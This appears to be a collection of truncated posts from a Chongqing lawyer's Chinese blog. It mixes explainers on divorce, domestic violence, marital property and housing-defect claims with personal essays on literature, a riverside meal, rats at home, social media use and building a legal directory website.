重婚或有配偶者与他人同居的;实施家庭暴力或虐待、遗弃家庭成员的;有赌博、吸毒等恶习屡教不改的;因感情不和分居满二年的;一方被宣告失踪,另一方提出离婚诉讼的,应准予离婚”。一方患有法定禁止结婚疾病的,或一方有生理缺陷,或其他原因不能发生性行为,且难以治愈的。婚前缺乏了解,草率结婚,婚后未建立起夫妻感情,难以共同生活的。婚前隐瞒了精神病,婚后经治不愈的,或者婚前知道对方患有精神病而与其结婚,或一方在夫妻共同生活期间患精神病,久治不愈。一方欺骗对方,或者在结婚登记时弄虚作假,骗取《结婚证》的。双方办理结婚登记后,未同居生活,无和好可能的。包办、买卖婚姻,婚后一方随即提出离婚,或者虽共同生活多年,但确未建立起夫妻感情的。一方与他人通奸、非法同居,经教育仍无悔改表现,无过错一方起诉离婚,或者过错方起诉离婚,对方不同意离婚,经批评教育、处分,或在人民法院判决不准离婚后,…

舍不得婆娘,分不到房?

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“假作真时真亦假,真作假时假成真。”前半句是红楼梦里太虚幻境大门柱子上对联中的一句,这一句话在我没有阅读红楼梦前就已经知道,记得是小时候在外婆家看到,是小舅书写的几个毛笔大写挂在墙壁上,很多年我都没能理解这句话的意思到底是什么,包括后来看了《红楼梦》原著,也没能理解透彻。记得曾经有那么一刻,似乎有了自己的看法,结合原著,若从贾宝玉的角度来讲,在他的精神世界里,对现实世界的理解,是大大出乎一般人的理解的,他把当时受封建制度男尊女卑思想观念压迫的女孩子当成宝贝般看待,这种古怪的思想以致种种行为,在当时的绝大部分人看来是十分怪诞的。可是在贾宝玉的世界里,别人不珍惜的,他却认为是一生中最重要的,他把这值得用自己最深切的情感付出的东西、他自己的爱情观与价值观,借由他特殊的地位,从一定程度上淋漓尽致的发散出来,因此他人都觉得他是一个“性乖张”之人,有时发痴有时发狂,被封建观念奴役的大多数人,觉得他是活在一个荒唐的世界:觉得他把虚幻、可笑的事物当成真的了。这就是“假作真”。但是对于贾宝玉来说被他老子娘们认为理所当然的事,才是真正的荒唐而虚幻。他生在一个权势富贵的家族,又有一个百般疼爱自己的权威祖母,从来没有生计的愁闷,功名对于他来说也就无所谓。而他却用自己的眼睛发现到一众女孩子的美好心灵,发现世间有一种真正可以为此付出一切的美好事物,较之于汲汲于功名,这是无与伦比的。因此他厌烦仕途经济,与迫害者抗争,而这一切被他人看来是人之常情、理所当然的现实生活,则被他当成虚假的了,这就是“真亦假”。当把虚幻当成真实的时候,真实自然成了虚幻,这是多么有意思的一句话啊。后一句是本人杜撰。由前一句改过来,我反复了看这两句话,又念了一念。要说后一句话其实也可以硬套上上面的解释,但是怎么就不是这个味。中国汉字韵味确实很奇妙,同样的字,不同的组合,完全是两种境界。红楼梦原著中为什么曹雪芹不说“真作假时假亦真”,我想还是要从书中主角说起,作者通过贾宝玉这一主要角色,对当时的人伦道德,礼教思想所滋生出来的不公正的社会现象是有深刻批判的,有憎有爱。通过贾宝玉的珍爱的一切来表达自己道德价值的追求,他希望出现这样一个世界,美好的事物不受到不公正的摧残,希望地位卑微的女子能得到平等待遇,至少在爱情方面。从贾宝玉的眼睛里看到的奇异世界的万相,也正是曹雪芹眼睛看到的东西,因此,“假作真时真亦假”将“假”放在前面就突出…

游记:船上烧野鱼

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春已在幕落的时候,稚嫩的夏阳来烤了几天,那晚在床上睡不着,翻来滚去,闷热的夜已现出下雨的兆头。似睡非睡中划了几道闪电,是不是下雨了也不晓得。次日,乘大风穿暴雨,到得江上,虽不见得汹涌,两旁草本却也青了,河边远处几道支流奔腾下泄,裹沙挟泥,倒也欢快,有人撑了网在那里滤鱼,倒想捡粑和。
船家喜道,今日算是有口福了,刚趁雨才捞上来了几尾大鱼,丢在蒌子里,虽不是珍品,这种斤两却也难得了。马上选了一条硕大的白鲢,一过称,足足八斤八两。
不说那鱼生猛跳跃,一上菜板,只见鳞甲乱飞,开肚去鳃,转眼片成片,晶莹剔透,未下锅,气味已闻着了。茶已喝,酒已上,须臾端来三碗,颜色并不鲜艳,只不过加些泡菜姜片而已,夹在碗里一闻,便知与常吃的普通鱼不一样,不用大嚼,且需细品,换作市场上买来的,除了趁火辣辛麻赶快下肚外,别无回味的了。
吟得一首好湿,且看它:

摇摇曳曳江底潜,
碰上雷电便淹搴。
锅里翻腾是正事,
跳上筷头助口鲜。

美女闹市裸浴3D影像促销是否应受处罚

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网上传播着一则消息。在某闹市区域,人烟稠密的地方,路人看到一裸体美女赫然出现在浴室内,款款沐浴着自己的身体,胴体上下除关键之处有马赛克外,其余则一览无余,其身材动作不禁令人血脉贲张,引来不少人驻足围观。围观者有大人,也有小孩,有人不忍直视,有人津津乐道。据报道称,有一小学生说::“演得太暴露,不好意思看。”

后来查实,这个美女并非肉体真身,而是用3D成像技术弄出来的一个裸体沐浴影像,但是其视觉观感效果之真,比之真人有过之而无不及。原来这是商家为了促销自己产品,吸引大众眼球,故出此妙计,在闹市区域上演这则荒谬的故事。
现如今的商家进行促销,用美女裸露手段博得大众眼球的手段,无不用其极。无论是车展、楼展、家装家具展等活动,更是美女如云,裸露成风。节省遮蔽身体布料的技术可谓登峰造极,甚至完全不用布料仍然可以达到,让那三点露不出来的效果,比如仅用彩绘颜料将那三个位置涂画,并且颇有艺术品价值。
世风日开,其实这并无伤大雅,作为男人来说,有机会饱看一回有着妙曼曲线、靓丽丰满的美女身材,也是一桩可以享受的趣事。好色而不淫,就不能说其道德品质有问题,原始的情欲是人的本性,美好的事物总是能吸引人的。女人的外在美也是不错的东西,是美丽的事物,可以令人赏心悦目,我们不应对商家促销动辄搬出美女来吸引眼球而不屑。只要把握好尺度,在大众能接受的范围内,可以尽量发挥想象力,制造氛围,这都是好的。
但是,以全裸美女在大庭广众之下沐浴的影像来吸眼球,就有点过度了。虽然不是真身,但是在一般人看起来的效果与真身并没有区别。商家为突出其技术的优势的,3D成像效果必定不差。所以,有不少人甚至感觉羞于直视。
根据报道,包括在互联网上的传播,这个事件影响不少,那么这种行为是否应当得到相应处罚?我思考了一下这个事件的影响状况。虽然这是一个影像,而且只是沐浴,并无其它行为,对于成年人来说,心智已经健全,不会受到多大的心理冲击;但是对于未成年来说,就不一样了,小孩子的心智发育尚不成熟,对于这种在公共场合赤裸沐浴的情形也许会对他们有不利影响,如果不对这种情形进行适当谴责,任由这种情形随地发生,那么对整个社会风气也有不好的影响。因此,我认为应当对这种行为给予适当的处罚。于是我翻看了我国的《治安管理处罚法》其中只有第二十三条(二)可以适用,即“扰乱车站、港口、码头、机场、商场、公园、展览馆或者其他公共场所秩序的;”可做如下处罚“处…

两江四岸

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虽盘旋于两江四岸,却蜷屈于方寸之间。

从无心于巨流之灿烂,颇有暇来幻想涉水登山。

大白日沉梦实酣,寂静夜并不成眠。

抽思绣锦欲成图展,手指粗短拿针困难。

律师网址站的分析与制作

制作一个网站并不简单,对于非专业人士,没有对网页脚本语言的学习,绝大部分问题的解决基本靠百度的查询,搜索引擎出来的相关结果有很多,需要对信息的指导性,实用性的进行甄别,然后照本宣科,按步就搬的测试,看最后结果如何,如果不行,再另外找其它的指导方案。这是一个反复的过程。长此以往,难道成为一个程序猿还是很大的问题么?做一个简单的网页,我这一回不高的要求就能满足。在网络上只要你有想法加上实际行动,几乎是可以满足你任何要求。对于我产生了这样一个想法并且到目前为止已经化去53hour的时间打理后产生如下一些想法,觉得有必须做一个记录。
产生做律师导航站的念头
为什么要做一个网址导航站,产生这个想法的渊源应该来自于个人博客的产生,有了一个自己的博客,当然我会经常去看一些与个人站长相关的博客,其中卢松松博客我也是经常去,按他自己的说法是为了收藏一些自己要看的博客,因此做了个人站长博客导航站,结果没想到人气的旺盛给他这个个人博客导航站带来了很大的浏览量,现在基本上已经有一万多个人博客入驻。认真做出来来的博客很值得去看,各种领域的知识都可以从博客上去获得,或许最能发现个人个性的特色,我也经常去翻看,翻看中认为我应该做一个这样的律师导航站。
律师导航与律师营销分析
结合自己的专业与律师营销现状,我发现在互联网上,有太多的律师网站,几乎可以达到万级的量。根据全国律协发布的《中国律师行业社会责任报告》(2013年)显示,截至2012年底,中国律师(不含港澳台地区)数量为232384名。假设平均20律师会产生一个律师网站,那么就至少有1万个律师网站。而这一万个律师网站都需要被人所知晓,需要营销推广。而作为一个有律师需求的人来说,如果通过互联网寻找,大多可能是通过百度搜索引擎,以地名+专业律师搜索占多数,搜索结果在前面的展示页面除了付费推广之外主要为几大门户网站所占据。付费推广本文不表,而几大门户站虽然占据了不少位置,但是仍然有做得比较好的专业性法律网站会靠前。究其原因,门户网站虽然律师个人信息内容丰富,其截获了绝大的咨询需求,但是对于咨询的回答从SEO角度来讲,往往不尽人意。对于专题页面,更新原创性的内容总是不能满足其体量的需求。作为一名律师,从互联网上展示在潜在客户面前的东西是什么,我认为主要是播散的具有个人特色的专业知识,能在网络上寻找律师的人,往往更容易货比三家,如果才能让他有意愿联系上你,…

企业如何通过一个好的平台融资—新三板业务介绍

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企业老板头痛的总是企业流动资金问题,融不到钱往往会决定一个企业的生死。如果能借助一个好的平台,既能解决融资问题,又能从根本上“治疗”中小企业在初期发展过程中普遍存在的固有顽疾,那么对于一个企业的壮大来说,可谓一箭双雕。

作为企业的负责人,当企业发展到一定的规模,小有成就时,这时他的眼光可能就变得更高远,“上市”开始在考虑的范围。上市不是一个简单的事情,也许他隐约知道一些好处,与条件的限制,但是关于新三板的理性认识,我们希望贵公司能通过专业的中介机构来作深入的了解。

首先,我们提供一位权威专家对“新三板”的另一个角度的认识:
这个时候,我们不免把目光投向新三板,这个由市场各利益相关方经过多年不断酝酿而生的市场,从一开始就是市场化取向,从中关村代办股份转让系统到全国中小企业股份转让系统(NEEQ)的建立,新三板是市场自行发展成熟的结果,这和沪深交易所在一夜之间由行政的力量建立起来完全不同….
….我们可以看到,在中国多层次资本市场的建设中,反而是为中小微企业服务的新三板最能激发市场各方的活力。我希望新三板能够真正遵循市场法则健康发展,则新三板很有可能成为中国的纳斯达克。以上内容来源于知名学者郎咸平教授在
《新三板会否成为中国的纳斯达克》一文中的观点
那么对于创业者或者已立业者该如何来理解新三板这个市场呢?
一、谁能发现你的价值,如果公司进入新三板平台,股份挂牌后其市场价格将创造财富效应。
二、中小企业融资的困难,是普遍现象,银行贷款多的是锦上添花。而如果企业进入新三板平台,首先,你已经完善了资本结构,公司治理通过中介机构已经完善,自然而然企业就会提高信用等级,就可能通过定向增发股份融资。
三、转板上市便利,如果在新三板的孵化池里已经达到上市条件的,则可以直接向证券交易所申请上市交易。
四、接受主办券商及投资者的监督,让具有专业资本运作的中介机构为您心贴心的服务,再也不用担心百年后的安顿问题。
总结:让中介机构来为企业提供新三板上市服务,就好比我们给您提供一套内功心法,专业的指导你练好内功,除去慢性疾病,增强体质,让企业从内而外的焕发也迷人的魅力。然后借助于新三板这样一个资本平台,让企业的实力能迅速的提升知名度,促进市场的开拓。

新三板上市到底要什么条件?
根据《全国中小企业股份转让系统业务规则(试行)》规定,满足以下四项条件即可新三板上市。
一、依法设立且存续满两年。有限责…

婚姻嗟叹

每晚,窗外都是连续不断响着劈劈啪啪的麻将声与叽叽喳喳的说话声,每次从街口路过,只要没有下雨,总能看到一群老头老太打得正酣,走路中偶尔也许瞟一眼桌子上排列的牌。而他们的愉快与专注并不会引起我的注意的。时隔已经几个月了,在脑海中多次回忆起那位老年的妇女。曾经,我打过几次电话过去,一直没有人接,后来就作罢了。一天,一个人要咨询我一点家庭暴力的问题,我到了目的地,打了几通电话,联系上了那个咨询者,我就叫她罗老师。重庆所有的人都可以叫做老师,外地人第一次来可能会奇怪,这个地方怎么遍地都是老师。罗老师身材,年龄约五六十岁,走起路来身体有点瘸,当时我以为是她固有的残疾,我就问:“我们在哪里去坐坐吧,找一个安静点的的地方,小茶馆也可以。”毕竟夫妻纠纷这回事不宜在人多的地方讲,她说:“我对这些地方也不熟悉,不知道去哪里坐呢。”我东张西望了一回,她说:“我们干脆到那边医院去坐,我就是在那里看的,里面也宽。”到医院里面,我四处观看,大厅里也有不少人,挂号的,拿药的,不过已经是中午的时候,挨着墙边有一排塑料登,没有人坐,我们就坐在上面。我说:“罗老师,你的腿是不是不舒服啊,我看你走起路来很费力的样子。”罗老师说:“我这脚杆就是他打断的,你看我走起路这么吃力,还没有恢复,我天天都要到这里来换药,这只是一个地方的伤。”说着她把裤子褪了一截,我一看,当时我心里就一咯噔,好长一道口子,估计有二十公分。我说:“这个是他打伤的?”罗:“这是动手术开的口子,里面骨头是断了的。你看还有这里。”说着又把腰拿给我看,也是一道口子,“肋骨是打断了的,还有我这个鼻梁,你仔细看看,是不是有点歪,我鼻梁被她打断了两次,有几次我没有办法,就向派出所报案,后头派出所的人都看不过去了,说‘你啷个又来了,不是喊你写一个申请,我们就拘留他的嘛,你也不写。’其实,他是被拘留了一次,但是几天出来后还是这样,反正一天要喝酒,喝了酒就要打。”我说:“罗老师,你把他如何打你,现在你对离婚是怎么打算的,讲给我听一下。”我看她情绪逐渐开始波动起来,就想引导她尽量说些关键的情节。罗:“傅律师,你是不知道,我跟他在一起真的是受不了了,他力气大得很,以前是杂技团的,你想练杂技的,筋骨这些是好粗壮,我身材又矮,他一把就把我推到了,手掐着我的脖子,差点背气。耍杂技的,都是吃青春的饭,后来年龄大了,杂技团也不要了,他出来之后好像感觉自己人生没有了目标…

QQ空间骂人要承担法律责任吗

今天在网上看到有几则在QQ空间骂人的报道,觉得可以拿来写一写。并不限于在QQ空间出口伤人,在论坛、博客、SNS网站所有的能在互联网上存在的骂人的信息都可能会存在承担法律责任的危险。

打官司在綦江

秋老虎遭雷劈,我心里很爽。窗子外面排满了浓密的小叶榕,雨点啪啪打着叶子,它们也很爽。在网上看了一些律师写的日志,心中感慨,手指发痒。今天这些文字算是一个开始吧,估计都是些个人行动轨迹的记录。自己的烂扫帚自己觉得还是宝贝,也顾不了许多了。同时我一心要把它放在QQ空间里,虽然自己也有一个独立博客。曾经因为失去自己孕育生产的东西,是我不能承受之痛,所以为了保险起见,在个人博客里发布之后,同时就在空间里更新。最近和H律师合作一个人身损害赔偿纠纷的案子,三个原告同时从脚手架上掉下来,一个脚后跟粉碎性骨折、另外两个脊椎骨折。他们所做的事情是农村危旧房的改造翻修,直接由当地一个包工头招募做工。受伤的医疗费用由包工头支付了30来万,基本医疗终结后续还有一个取内固定的费用。伤残等级是免不了了,虽然之前做了一个工伤鉴定的结论意见,但是我诧异的是,为何要去做工伤伤残鉴定,他们受伤的责任方能够扯上关系的就是包工头与镇政府,况且根据重庆市关于危房改造文件及区政府相关文件,镇政府是不可能作为发包单位的。既然没有用人单位如何做了一个工伤伤残的鉴定结论?据说之前镇政府组织过三方调解,也许是为了当时计算一个大概的赔偿数额,所以在区司法鉴定所做了一个鉴定。我跟H律师分析了整个案情后确定,这个事情如果走工伤是搞不成,走一般人身损害可以有把握。跟当事人充分沟通,讲解相关法律依据,打消他们的顾虑:在此之前,他们就已经准备放弃,毕竟担心政府这个柿子不好捏,法律需要信仰,我们律师首当其冲,我与H律师多次给他们打气,反复简单的给它们讲解相关依据,包括后续可能产生的费用,大概的时间长度等,让他们心里做好一个充分准备,大家一起努力走到最后。立案那天,鸡刚叫我就从主城区出发,先到镇派出法庭去拿之前我邮寄过去的立案材料,因为涉及镇政府,所以镇上的派出法庭考虑种种因素,已经申请由区基层法院直接审理,这当然对我们是一个利好形势。到了镇法庭,幸好庭长刚从区法院开会回来,我说明来由,他大概说明了一下案子移交区法院直接审理的理由,我就说,想麻烦他再给区法院去一个电话,说我们马上到区法院来交材料立案,没想到这庭长待人蛮好的,马上就给区法院立案庭的庭长打了电话。取好材料,还有四十来分钟就是中午12点法院下班的时间,我跟三个原告说我们现在不多说什么,先到区法院交材料立案,为了不把时间拖到下午14:30以后我和其中一个原告马上上车,到了…

诉讼中的自认规则

一、自认规则的适用
将与身份关系有关的事实以及涉及国家利益、社会公共利益或他人合法权益的事实排除在自认的客体范围之外,不适用自认规则。

正确认识家庭暴力

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法律上认识家庭暴力的概念
家庭暴力是指家庭成员间的一方以暴力或胁迫、侮辱等,如以殴打、捆绑。禁闭、残害或其他手段对家庭成员的身体、精神、性等方面人身权利进行侵害,并造成一定损害后果的行为。
实施家庭暴力行为的主体范围
并不是传统意义上理解的家族内的成员,这里的家族成员应理解为具有亲属身份关系且在日常生活中共同居住生活的人员,一般以户籍登记为准。
家族暴力的表现形式
它的表现不仅仅在于夫妻之间,结合实施家庭暴力行为的主体范围进行分析。

对“性”的侵犯并不是家族暴力的唯一表现形式。

因为《婚姻法》司法解释(一)第一条,只是规定从对“身体”、“精神”伤害的后果上进行认定。但是对性的侵害,可以通过“身体”、“精神”造成的伤害进行处理。
家族暴力的后果有一定的要求
《解释》的规定是比较严格、客观的标准,以避免对家族暴力法律规制的适用泛滥,因此实施家族暴力“给其家庭成员的身体、精神等方面造成一定伤害后果的行为。”

法律派律师提醒,对遭受家庭暴力者,虽然家丑不可外扬,但应适当的采取以下措施保护自己的合法权益,现在社会男女权利平等,女性在社会的的地位比男性有过之而无不及。


家庭暴力实例
法律派律师在今年遇到一个中老年妇女A向我咨询求助,年龄已经有60几岁,她老伴曾经是杂技团的,筋骨练得十分强健,喜欢滥酒,喝了酒动不动就打人,曾经把A鼻梁骨打断两次,大腿骨打折一次,肋骨被踹断。A多次向居民委员会及派出所救助,每次居委会或派出所将A的老伴教育一顿后,隔不了几天就会重犯。我静静的听着A向我倾述着,一边说着一边不停的哭泣,我听着心中也十分酸楚。但她始终处于纠结的状态,她说,曾经年轻时也是不懂事,一心要找一个搞文艺的,就像现在的年轻人追星一样,死活都要跟他在一起。一方面我从感悟角度开导她,另一方面,我也希望她通过相应的救济途径能保护自己的权利。虽然她无法忍受丈夫的暴力,但是又担心自己今年的生活。所以,找一个不对自己暴打的男人很重要。
对家庭暴力受害者的救济措施
1、向居民委员会、村民委员会及所在单位提出,请求其调解;

2、对正在实施的家庭暴力,受害者提出请求的,公安机关应当予以制止,居民、村民委员会应当予以劝阻;

3、家庭暴力受害者提出请求的,公安机关应当对加害者予以行政处罚;

4、对已经构成犯罪的家庭,受害人可以向法院自诉;公安机关应当依法侦查,检察机关应当依法提成公诉;

5、家庭暴力受害者可将暴…

离婚未取得按揭房所有权一方的补偿数额计算

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夫妻双方闹离婚,房子是大事情,结婚之前按揭一套房子,离婚之后该如何处理?
根据《婚姻法司法解释三》第十条的规定:
第十条 夫妻一方婚前签订不动产买卖合同,以个人财产支付首付款并在银行贷款,婚后用夫妻共同财产还贷,不动产登记于首付款支付方名下的,离婚时该不动产由双方协议处理。
依前款规定不能达成协议的,人民法院可以判决该不动产归产权登记一方,尚未归还的贷款为产权登记一方的个人债务。双方婚后共同还贷支付的款项及其相对应财产增值部分,离婚时应根据婚姻法第三十九条第一款规定的原则,由产权登记一方对另一方进行补偿

婚姻登记信息虚假该如何处理

男女双方结婚必须亲自到场,婚姻登记部门主要审查以下三点内容:
一、男女双方提供的户口本、身份证上的信息是否一致;
二、是否符合法定结婚年龄;
三、本登记部门是否有管辖权。
只要当事人按规定提供了相关证明文件,证明符合结婚的实质条件与形式条件,民政部门就应当结男女双方颁发结婚证。

房屋买卖中房屋主体不合格的法律责任

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房屋质量合格的交付是法定的义务,如果质量不合格就要承担相应的法律责任。《建筑法》61条规定了建筑工程竣工经验收合格后,方可交付使用,未经验收或验收不合格的,不得交付使用。
导致房屋质量问题产生的原因,可能是多样的,设计、勘察、施工都有可能导致。因此,国家对建筑质量的法律法规、技术标准、设计规范等均作了明确规定。
竣工验收,指建筑工程全部建成后,为检查工程质量而进行的一项工作程序,也是建设过程中的最后一道程序,全面检查设计要求和质量的重要环节,是建筑物转入使用的一个重要的标志和必备程序。
否认是新建、扩建、改建的工程项目及技术改造项目一律要经过工程验收,方可交付使用。
交付使用的建筑物必须符合《建筑法》的要求。工程竣工验收可分为初步验收和正式验收两个阶段,大、中型和比较复杂的工程应先进行初验,然后进行全部项目验收;小型、简单的建设项目,可以一次性进行全部建设工程验收。
验收合格才表明工程是按照工程合同的规定履行了合同义务。没有经过验收的建设工程,是未完成的工程,因为没有其完工的证明。
本条所称房屋质量不合格,应包括:
房屋未经验收;房屋经验收不合格;房屋交付使用后,经核验质量确属不合格。 对“房屋主体结构质量不合格”的理解。应包含地上主体工程涉及部分,也包含地下地基部分。《建筑法》61(2)规定“建筑物在合理使用寿命内,必须确保地基基础工程和主体结构质量。”建筑工程的地基基础和主体结构的质量是政府质量监督的重要内容,是建设单位或监理单位检查的重点,为保证建筑工程质量,国家制定了一系列技术标准和管理标准如《建筑工程质量检验评定统一标准》、《建筑安装工程施工及验收规范》等。

建筑物的合法使用寿命即设计年限,是指建筑物的设计单位按设计的建筑物的地基基础和主体结构形式、施工方式和工艺等技术条件所确定的保证该建筑物正常使用的最低年限。
合理使用寿命,我国无统一规定。具体建筑物的合理使用年限,要根据建筑物的使用功能、所处的自然环境等因素而定。由有关技术部门评定,根据《民用建筑设计通则(GB50352-2005)》规定民用建筑的设计使用年限:

设计使用年限(年)建筑物类型5临时性建筑25易于替换结构构件的建筑50普通建筑和构筑物100纪念性建筑和特别重要的建筑
对于地基和主体结构发生质量缺陷,是否在合理使用寿命内引起争议的,应首先确定该建筑物的合理使用寿命,已有确定年限的,以该年限…

房屋质量瑕疵索赔

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房屋质量瑕疵属于《合同法》中关于买卖合同中出卖人应当履行标的物的瑕疵担担保义务中的物的瑕疵。瑕疵担保义务的基本内容是,出卖人应当保证其对出卖的标的物具有完全的所有权,同时,出卖的标的物必须符合法律规定或合同约定的品质,当出卖人交付的标的物的所有权归属或品质有问题,则其应当承担该瑕疵的担保责任。物的瑕疵担保责任成立应满足以下条件:一、物的瑕疵在标的物交付时是存在的。因此,该物在交付后,买受人发现有质量瑕疵,其应当承担在物交付时就已经存在瑕疵的举证责任。二、买受人为善意且无重大过失。即买受人是不明知物有瑕疵或非因重大过失而不知有瑕疵。但如果是以下情形,即使买受人明知或有重大过失不知,也不得免除出卖人的瑕疵担保责任:

出卖人保证无瑕疵;
出卖人故意不告知标的物的瑕疵;
买受人在质量异议期间提出标的物有瑕疵;

买受人受领标的物后进行验收是其义务,如在法定或约定的期限内未提出瑕疵,买受人原则上不得主张物的瑕疵担保责任。关于质量瑕疵标准问题,应根据《合同法》第61条、第62条规定评价。对房屋质量瑕疵的处理,应遵行公平合理原则,如果瑕疵很小就可以用修理的责任方式,而不是非要重作或退房。合同如未对质量瑕疵问题进行约定,可以分别情况予以处理:一、对比较明显的或已知的质量瑕疵。买受人在接房时,应当行使自己的注意义务,对房屋的质量进行必要的检验,凡是通过一般验收就能够发现的显而易见的瑕疵,就是明显的质量瑕疵。该种瑕疵买受人应当在接房时提出,如果在接房时买受人没有及时提出该明显的瑕疵,接房后出卖人可以不负责任,应由买受人自己维修。另外,如买卖双方在订立合同时买受人已知有瑕疵的,除有特别约定外,出卖人不再负责。二、隐蔽质量瑕疵的处理。需要经过专门鉴定或在房屋使用过程中才能发现的,买受人向出卖人提出,出卖人应当承担责任。三、隐瞒质量瑕疵的处理。为出卖人已知而故意隐瞒较严重的房屋质量瑕疵。出卖人应承担相应民事责任。对出卖人承担的瑕疵担保责任,买受人可以请求减少价金、修理、更换或解除合同及损害赔偿。合同解除权的行使应当在法定或约定的期间行使,否则即丧失解除权。解除合同后显失公平的,如标的物瑕疵不影响使用、在标的物尚可使用情形下解除后不便再出卖或解除合同给出卖人造成的损失较标的物瑕疵给买受人造成的损失更大时,不得解除合同,买受人只得寻求其它救济途径,如减少价金、修复部份更换等。房屋质量瑕疵包括哪些范围?除…

鼠出没

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唧唧复唧唧,老鼠做游戏。实在是受不了那些该死的老鼠,日复一日,夜复一夜的在床底、桌上、窗台等等来回穿梭,翻东翻西。

最近一段时间,睡觉睡得晚,每天等到外面搓麻将的声音消停也差不多凌晨12点了,这时外面基本上比较的安静,也是我准备渐渐上床的时候,闭上眼睛强制自己进入睡眠状态,越是勉强越是不容易进入梦乡。这时,那些个耗子就公然的在家里窜来窜去,毫不担心自己的身家性命,虽然我几次扬言要消灭它们,到底没有实际行动。耗子们可能觉得我们已经从心里接纳它们了,可以和我们和谐相处了,可以想干什么就干什么了。有几次,我和元件同学还都坐在窗边的办公桌前上网,有一只居然胆大妄为的伸出一个鼠头来偷窥了几下,而且并不当我们构成实质性的威胁,就从窗沿顺着电线从我们脚下进来了,此时我们只有看着它钻进躲藏的地方,愤怒的从口中喷出那一个字—“操!”—而已。有一次,上厕所,我刷着微博,正蹲得好,突然一只小耗子蹿了进来,不知是脑袋进水还是三急。看到有人,就赶紧藏在厕所门背后,一动不动,隔我只有不到一米远的距离。其实我早就想对这些东西下手了,于是紧张的思考着该怎样将它弄死:一、以迅雷不及掩耳之势,瞬间将厕所门关死,把它困在卫生间,然后将它逼进便池,用拖把将其推下下水道,冲走;二、守在门口,脚放在它出去的必经之路,见它跑出来,一脚下去,踩成肉泥。三、……。第三条还没想好,它就蹿出去了。我最近的三两天的失眠,它们就是罪魁祸首。每当我迷迷糊糊似睡着非睡着的时候,它们就要在客厅搞些响动出来,凌晨12点过1点钟,本来是很安静的,往往是突然一个东西掉在地上,或者是咬什么东西,发出悉悉蟀蟀的声音。最让我不能接受的是,在我床底下窜来窜去,本来床也不高,不到50公分,有一两次硬是将睡着的我给吵醒,(就在此时,不错,正当我写这些文字的时候,就有一匹耗子跑了过去。)我能怎样,只有猛的拍打几下床板,等你一关灯,它又开始嚣张的四处跑动起来。我是真的下了杀心,非弄死几个,看来了不了事。现在毒鼠强是早已经禁止不能用,虽然有些地方买得了,但是毒死了烂在卡卡角角的,气味难闻。老鼠夹是一个考虑的武器,但是应该不好买,晚上,在超市只找到了粘鼠板。我也考虑过粘鼠板的效果,估计不会很好,大一点的老鼠容易挣脱吧,但是我看到有好几只小一点的耗子,我知道是大老鼠下的仔,年初的时候我就听到沙发底下有吱吱的声音,并且我和元件的袜子经常不翼而飞,肯定是大老鼠…

善用手机与软件

虽然为你点了赞,但并不一定代表同意你的观点,也不代表你之喜怒哀乐在他人心中激起澎湃。尽管这就是在几微秒钟内完成的,但是这一动作却代表了一种宽广的胸怀。无论什么样的表达:无聊的牢骚、苦闷的抒发、痛苦的表达、幽默的段子、讨厌的玩笑、心情的记录、妙语的偶得、怨恨的宣泄、阴晦的表白、苍白的标点等等,通通不能阻止我对你的支持。

腾讯公司两大产品:QQ与微信中都有一个点赞功能。在我心情一般或或者较好的时候,一般人的信息都会去给赞一下,好一点的会留一下言。以一种正面或幽默的态度来给对方以反馈,也许从某种角度讲,这是一种优秀的秉性。从另一个角度来讲,通过使用这些网络产品,让人与人之间保持了一些交集,让自己与他人之间建立起一些交流。个人真实的有价值的观点或乐观的心态展现,更能传递良好的信息,因此我更愿意关注这些内容。

QQ空间巨大而稳定的流量,就在于亲友的互动,看空间的人很多并不是无聊的人,在关怀的同时希望得到互动,网络的互动是最具有粘黏性,尤其是熟人网络之间。但是最近我却卸掉了手机QQ,直接原因是它所占内存太大,居然达到98M,占了我低配手机近五分之一的内存。另一方面,它与微信在所用的功能上来讲,几乎没有什么区别。况且,它越来越臃肿,什么功能都搞进去,凡是人所需的他都想提供。有人说过社交工具“始于约炮,终于电商”说得不错,不管是微信也好还是QQ也好,其盈利的终点终要落于产品或服务的网络交易。对于崇尚简约生活的人来说,何必时刻要让它来打扰自己的清心寡欲?

我习惯点进空间去看其中的动态,但也不过就是那样,手指机械的滑动几乎成了一种病态,让人的头脑无法腾空出来做深入的思考。它的臃肿与打扰使我放弃了使用。如果微信也让自己无法宁静,也应当做舍弃的权衡。

能够舍弃的东西说明它并不是生活中必不可少,也不代表它没有价值。善用它,根本在于独立的心境。近年来高考考生的家长们为了给孩子一个好的迎考环境,对政府部门限制机动车在考区附近行驶的管制并不满意,还要将骑电动车的人拦下,这种方式虽然是爱,但是做得也过份了。真正为迎考准备的良好环境的是考生的信心充盈,以及不为是否上榜而忧虑。各种娱乐社交类的软件,功能的越来越强大,却反而容易让人丧失独立思考,善用不但要舍弃,更重要的是坐怀不乱。

在折腾中选择正确的方向

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上个星期遇到博客虚拟主机数据损坏,这个星期又遇到电脑崩溃。虚拟主机的数据丢失使我又将博客从零开始创建,丢掉了许多数据,同时让我对博客的定位做进一步明确。电脑的崩溃,需要立即恢复到正常使用,让我丢弃了硬盘上绝大多数的文件,同时也在工作与娱乐上做了一次简化。

写博客的主要效用是给自己看的,自己才是最忠实的读者,我越来越觉得为自己书写,才能坚持不懈的保持着一点点原创热情。6月上旬的这一次事故,虽然说有两个月的数据无法恢复,但是我仍有一次备份,后来主机又反复的出现故障。在重装的过程中,我甚至没有对我之前做大量编辑工作付之东流而感到十分怨恨、可惜。我愿意重新来过,开始的时候,我计划着打造一个法律方面大而全的内容聚合之地,为了这个想法寻找了不同的CMS程序,从一开始的wordpress博客程序,转移到dede门户程序,再到Discuz3.1论坛程序。但是最后还是回到了wordpress博客程序。这种反复无定的尝试,一方面让我耗费了大量的时间去熟悉每一个程序的使用方法,在这里面自己的技术总是捉襟见肘,无法完全让自己的想法完美的通过那些程序修改或设定表达出来,正是没有深入的研究,完全的掌握其中一种,因此,一种无法驾驭的失落感,次次的将我的主意力引到新的程序。时间就这样随着我不断的挑选慢慢流逝。在去年12月份,也许是一种懒惰与疲惫,让我回到原来的起点,仍然用博客程序架构自己的网络园地。这一次,我开始切掉了许多不切实际的想法,在那篇文章中我表达了我今后建站的观点。

我认为方向是正确的,但是定位还不够纯粹,在实际操作中,仍然出现许多杂念,并非能一心为自己所写。因为杂念的存在,让我缺失掉了集中精力进行原创的时间。虽然在编辑上自己会进行规范的处理,但是对于不是自己书写的内容,往往也不会有重新审视的余地。不过我之前编辑过的一篇重庆法院的联系方式还是有一定价值的,每天都有十来个左右通过搜索引擎访问这篇文章,所以只要是能为别人所用的东西都是好东西。

